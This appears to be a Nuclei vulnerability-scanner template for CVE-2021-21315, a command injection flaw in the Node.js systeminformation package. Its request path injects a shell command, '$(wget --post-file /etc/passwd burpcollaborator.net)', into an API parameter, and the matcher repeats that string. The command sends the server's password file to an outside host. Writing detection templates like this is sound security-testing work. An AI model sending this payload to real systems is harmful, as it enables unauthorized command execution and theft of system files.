nuclei-templates/cves/2021/CVE-2021-21315.yaml

35 lines
732 B
YAML

id: CVE-2021-21315
info:
name: Node.js Systeminformation Command Injection
author: pikpikcu
severity: high
reference: https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC
tags: nodejs,cve,cve2021
requests:
- method: GET
path:
- "{{BaseURL}}/api/getServices?name[]=$(wget%20--post-file%20/etc/passwd%20burpcollaborator.net)"
matchers-condition: and
matchers:
- type: word
words:
- "application/json"
part: header
- type: word
words:
- "wget --post-file /etc/passwd burpcollaborator.net"
- name
- running
- pids
part: body
condition: and
- type: status
status:
- 200